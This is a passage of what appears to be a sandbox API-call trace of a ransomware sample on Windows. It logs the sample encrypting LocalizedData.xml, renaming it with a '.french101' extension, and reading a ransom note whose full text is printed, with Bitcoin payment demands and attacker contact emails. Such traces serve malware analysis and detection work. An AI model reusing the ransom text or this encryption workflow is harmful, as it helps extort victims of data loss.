lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.673] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0277.673] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0277.673] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.673] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0277.673] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.674] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0277.674] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.674] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.674] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.674] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.674] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0277.675] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0277.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0277.675] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da350 [0277.675] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0277.675] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0277.675] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0277.676] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0277.676] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.676] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.676] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1510c [0277.676] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.676] SetFilePointer (in: hFile=0x308, lDistanceToMove=86284, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x1510c [0277.676] WriteFile (in: hFile=0x308, lpBuffer=0x3f31ca8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31ca8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0277.852] CloseHandle (hObject=0x308) returned 1 [0277.855] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.855] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.856] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1510d [0277.856] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0277.856] SetFilePointer (in: hFile=0x308, lDistanceToMove=86284, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1510c [0277.856] SetEndOfFile (hFile=0x308) returned 1 [0277.859] CloseHandle (hObject=0x308) returned 1 [0277.859] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.859] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.859] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1510c [0277.859] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0277.860] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.860] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0277.860] ReadFile (in: hFile=0x308, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.860] SetFilePointer (in: hFile=0x308, lDistanceToMove=44847, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xaf2f [0277.861] ReadFile (in: hFile=0x308, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.861] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0277.861] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0277.861] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0277.861] GlobalUnlock (hMem=0x3f40014) returned 0 [0277.861] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0277.861] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.861] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.861] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.861] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.886] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0277.886] WriteFile (in: hFile=0x308, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.887] SetFilePointer (in: hFile=0x308, lDistanceToMove=44847, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xaf2f [0277.887] WriteFile (in: hFile=0x308, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0277.887] SetFilePointer (in: hFile=0x308, lDistanceToMove=86284, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x1510c [0277.887] WriteFile (in: hFile=0x308, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0277.887] WriteFile (in: hFile=0x308, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0277.887] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.887] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.887] CloseHandle (hObject=0x308) returned 1 [0277.890] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\dlB12sJLMekf97DIBID=jTgnMuupXuIGDEwE2Dh6mLfMG4.french101" (normalized: "c:\\588bce7c90097ed212\\1032\\dlb12sjlmekf97dibid=jtgnmuupxuigdewe2dh6mlfmg4.french101")) returned 1 [0277.891] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\dlB12sJLMekf97DIBID=jTgnMuupXuIGDEwE2Dh6mLfMG4.french101" (normalized: "c:\\588bce7c90097ed212\\1032\\dlb12sjlmekf97dibid=jtgnmuupxuigdewe2dh6mlfmg4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.891] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0277.891] CloseHandle (hObject=0x308) returned 1 [0277.891] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\dlB12sJLMekf97DIBID=jTgnMuupXuIGDEwE2Dh6mLfMG4.french101", dwFileAttributes=0x80) returned 1 [0277.891] CloseHandle (hObject=0x308) returned 0 [0277.891] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.891] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.891] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.892] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.892] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.892] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.892] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.892] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.892] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.892] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0277.892] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0277.892] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0277.892] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0277.892] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0277.892] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1032\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0277.893] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.893] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0277.893] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.893] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.893] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0277.893] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0277.893] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0277.893] CloseHandle (hObject=0x308) returned 1 [0277.893] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.893] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.893] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.893] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.893] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.893] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.893] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.893] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.894] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.894] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.894] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.894] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.894] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.894] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0277.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0277.895] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0277.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0277.895] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0277.895] GetLastError () returned 0x12 [0277.895] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0277.895] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.895] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.895] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.895] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0277.895] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0277.895] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0277.895] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.895] GlobalHandle (pMem=0x3ae4e10) returned 